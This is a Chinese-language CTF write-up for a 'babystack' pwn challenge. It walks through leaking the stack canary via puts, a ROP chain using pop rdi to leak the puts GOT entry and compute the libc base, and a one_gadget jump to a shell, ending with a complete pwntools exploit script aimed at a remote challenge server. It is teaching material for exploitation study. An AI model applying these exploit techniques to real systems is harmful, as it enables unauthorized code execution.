美文网首页CTF-PWNCTFCTF Re&&Pwn
WriteUp: PWN1 厦门邀请赛

WriteUp: PWN1 厦门邀请赛

作者: 小道清泓 | 来源:发表于2019-10-22 22:11 被阅读0次

Write Up

  • 0x00: 前言
  • 0x01: 获取信息
  • 0x02: 确定行为
  • 0x03: 寻找漏洞
  • 0x04: Payload
  • 0x05: PWN !!!
  • 0x06: 结语

0x00: 前言

写这个WriteUp的目的是让刚入门不久的初学者更好的理解是如何:

  1. 利用栈溢出漏洞去跳转到目的地址。
  2. 利用ROP绕过NX保护。
  3. 利用libc中的system或者one_gadget获取shell。
  4. 利用栈溢出和输出函数获取canary。

对这里出现的名字不理解?不用担心,之后会解释清楚,请继续往下看下去(但是要具备以下几点)

  1. Pyhton基础
  2. pwntools的使用
  3. C语言基础
  4. 汇编语言基础
  5. 动态链接中的plt和got
  6. Linux下逆向工具的基本使用

这里给出个人建议,在真正学习pwn之前,对你使用的平台可执行文件的布局以及重定位,动态链接等等了解的越多,学习时会更加清晰,更加深入。一定要明白为什么这么做而不仅仅是怎么做。

0x01: 获取信息

我们首先使用file命令查看一下babystacklibc-2.23.so:

file.png

可以看到,babystack是elf64的动态链接的可执行文件并且已经被strip(去掉了节头信息和符号表)掉了,而libc-2.23.so很显然是个共享库。

接着再用checksec脚本查看babystack都开启了那些保护机制:

checksec.png

可以看到,babystack开启了NX,Canary和Full RELRO:

  • NX: No-eXecute,是通过将数据所在内存标记为不可执行而阻止利用栈溢出跳转到数据页面执行写入的
    shellcode。
  • Canary: 栈保护,是通过在程序中的函数开始时在其栈上存放一个cookie信息(随机内容),然后在返回时检查该值是否与之前一致来保护利用栈溢出覆盖到返回地址。
  • ROREL: RELocation ReadOnly,主要是Partial RELRO和Full RELRO。Partial RELRO是属于延迟链接,在函数第一次被调用之后在会将真实地址存入GOT表中。而Full RELRO则是在将程序加载到内存中时就已经将所有库函数的地址写入GOT表中。当然,这两种方式在处理函数地址之后都是不允许在更改GOT的。

回到babystack中,接着用strings查看有没有类似system或者/bin/sh等留下的后门:

strings.png

很显然并没有,所以这就引出了一个问题: 如何获取shell?或者说到那里去找可利用的函数或者代码段?答案: libc库,而这libc库并不是我们本地的库而是对方服务器上的libc库,由于版本可能不一致所以内容也会有差异。幸好这里已经给了libc,如果没有,还需要查看程序所使用的libc库版本。

然后我们用readelf或着objdump查看babystack都是用了那些libc库函数,再用同样的方法查看libc中的函数,找到一个在babystack中使用过的函数(我们使用puts函数)的偏移地址。这个有什么用呢?答案: 用于确定libc库加载的基地址。

libc_puts.png puts.png

那么有了这些信息,又该怎么计算出libc的基地址呢?答案: 库函数在程序加载进内存后的真实地址 - 库函数在libc库中的偏移 = libc基地址,这是由于libc库函数的布局在加载进内存后并不会发生改变,所以可以利用这一特点计算出你想获取的任意库函数的真实地址。

之前讲过库函数的真实地址是存储在GOT表中,所以我们需要用输出函数输出对应GOT表中的内容。这里先简单说一下动态链接时库函数的调用过程(以puts函数为例):

call puts --> puts plt --> puts got --> puts

除了这些之外我们还没有找到可利用的代码段。可以找出libc中的system函数偏移在根据libc基地址计算出system函数的真实地址,但在这里我们使用更简单方法(因为system还需要自己设置/bin/sh参数),用one_gadget找出libc库中可利用的代码:

execve.png

最后整理我们所获得的信息以及取值:

描述 取值
puts函数的got表地址 0x600fa8
puts函数在libc中的偏移 0x6f690
puts函数的plt地址(这是因为我们需要用到输出函数,输出所需内容) 0x400690
可利用代码execve在libc中的偏移 0x45216

0x02: 确定行为

接下来就是确定程序的行为了,这里我用到了radare2开源逆向工具(由于目标程序被strip掉了,直接用objdump这种依靠节头表信息分析的工具实在是太费劲)。

先运行程序看一看都有那些操作:

run.png

可以猜测,1. store 的输入可能存在栈溢出漏洞,而2. print 也可能为我们提供需要的数据。

再用radare2的图形界面cutter打开babystack:

r21.png r22.png r23.png r24.png r25.png

可以看到,程序并不复杂,无非是一些输出选项和提示符,输入选项,输入数据,输出数据以及退出。

0x03: 寻找漏洞

在真正开始寻找漏洞之前,先讲一下栈溢出的原理:

起因: 在栈上(局部变量)读取了多于所分配的内存。

结果: 导致了覆盖掉栈上的数据加以利用,其中最典型的就是覆盖掉函数的返回地址。

栈的一般布局:

+--------------------+ 高地址
|      函数参数       | --> x86架构(x64中是以rdi,rsi,rdx... 传递参数的)
+--------------------+
|    返回地址(rip)    |
+--------------------+
|         rbp        |
+--------------------+ <-- rbp (栈底)
|       ... ...      |
|       局部变量      |
|       ... ...      |
+--------------------+ <-- rsp(栈顶)
|       ... ...      |
+--------------------+ 低地址

我们先走第一个分支,1. store,可以明显的看到以rbp-0x90地址为buffer可以读取0x100个字节,这就是栈溢出了。但是要利用这个还有一个麻烦,就是之前所说的canary了。

r24.png

回过头再看看第二个分支,2. print,可以看到这里使用了puts函数输入了从rbp-0x90开始的内容。

r25.png

看来我们已经找到如何获取canary的方法了,puts函数输出字符串是以'\0'结尾。也就是说,我们输入足够多的数据直到与存储canary内容的地址接轨,将其一同输出出来。可以看到,canary是存储在栈上rbp-0x08位置,而我们的输入起始地址是rbp-0x90,所以我们需要输入 0x90 - 0x08 = 0x88 个字符才可以。

a0x88.png

注意!这里我是用ctrl+D结束的输入,所以输入的刚好是0x88个a。如果用回车结束最后还将读取'\n'换行符,所以总共就读取了0x89个字符,而这我们将在下面用到。

怎么回事?怎么没有输出我们想要的数据呢?之前说过,字符串是以'\0'结尾的,所以可以判断canary的最低位的一个字节的内容是0。那么我们尝试输入0x89个字符:

a0x89.png

可以看到,输出中多了一些内容,而这也正好是我们需要的canary了。

以上只是第一阶段: 获取canary。接着我们需要确定libc基地址,由于已经介绍过如何计算libc基地址,所以我们的主要任务就是获取puts函数的真实地址,也就是puts GOT表中的内容。由于canary已经获取,我们可以放心的利用栈溢出而不担心程序会crash。

但是这里还有一个问题: puts函数的传参问题,之前说过x64是以寄存器的方式传参,puts函数需要的一个参数则需要rdi寄存器传送。

解决方法: 将参数存放在栈上再用pop rdi的方式送进rdi中,在用ret指令返回到puts函数的plt地址。所以我们需要 pop rdi; ret 这种指令或者包含这种指令的地址来完成这一目的。

在这里,我们用ROPgadget工具查找pop rdi; ret指令(如果直接用objdump或者在radare2中查看并不会发现有pop rdi; ret,但会发现有很多pop r15; ret指令,而pop r15的指令机器吗是43 5fpop rdi的指令机器吗是5f,这不就找到了吗?!)。

ropgadget.png

获取puts GOT表中内容的主要方法是: 输入 0x88个字符 + canary + 随便8个字符 + pop rdi地址 + puts GOT地址 + puts plt地址 + main函数地址。

为什么还要有main函数的地址呢?答案: 因为这次仅仅是获取了puts函数的真实地址,而puts函数执行完之后的返回地址如果不是main函数,则我们的程序就会终止,不能进行下一步了。

第二阶段也已经完成,根据获取的值我们终于可以计算出libc基地址了。接着就是最终阶段获取shell了。这里的方法与第二阶段相似(实际上更加简单)。

获取shell的方法: 输入 0x88个字符 + canary + 随便8个字节 + execve地址。

0x04: Payload

这里给出针对不同阶段的payload(python):

  1. payload = 'a' * 0x89
  2. payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  3. payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(execve_addr)

0x05: PWN !!!

最终exp.py

#!/usr/bin/python

from pwn import *

context.log_level = "debug"
p = remote("111.198.29.45", 42157)

# Get information from libc-2.23.so
puts_offset = 0x6f690
execve_offset = 0x45216

# Get information from babystack
puts_plt = 0x400690
puts_got = 0x600fa8
pop_rdi = 0x400a93
main_addr = 0x400908

# Stage one for get canary
payload = 'a' * 0x89

p.recvuntil(">> ")
p.send("1\n")
p.send(payload)
p.recvuntil(">> ")
p.send("2\n")
p.recvuntil(payload)
canary = u64(p.recv(7).rjust(8, "\x00"))

print "canary: ", hex(canary)

# Stage two for get puts address
payload = 'a' * 0x88 + p64(canary) + p64(0) + \
    p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil(">> ")
p.send("1\n")
p.send(payload)
p.recvuntil(">> ")
p.send("3\n")
puts_addr = u64(p.recv(8).ljust(8, "\x00"))
print "puts address: ", hex(puts_addr)

# Get libc base and system address
libc_base = puts_addr - puts_offset
execve_addr = libc_base + execve_offset

print "libc base: ", hex(libc_base)
print "execve address: ", hex(execve_addr)

# Stage three for get shell
payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(execve_addr)

p.recvuntil(">> ")
p.send("1\n")
p.send(payload)
p.recvuntil(">> ")
p.send("3\n")

p.interactive()
success.png

0x06: 结语

以上便是我希望表达的内容,而我也已经尽可能详细的介绍了一切。但是其中的plt,got以及其他不太理解也欢迎来提问,一起学习,一起进步。

最后给出一个思考题: 什么是PIE保护,如果该程序开起了PIE保护,上述方法还有有用吗?

相关文章

网友评论

    本文标题:WriteUp: PWN1 厦门邀请赛

    本文链接:https://www.haomeiwen.com/subject/jmmcvctx.html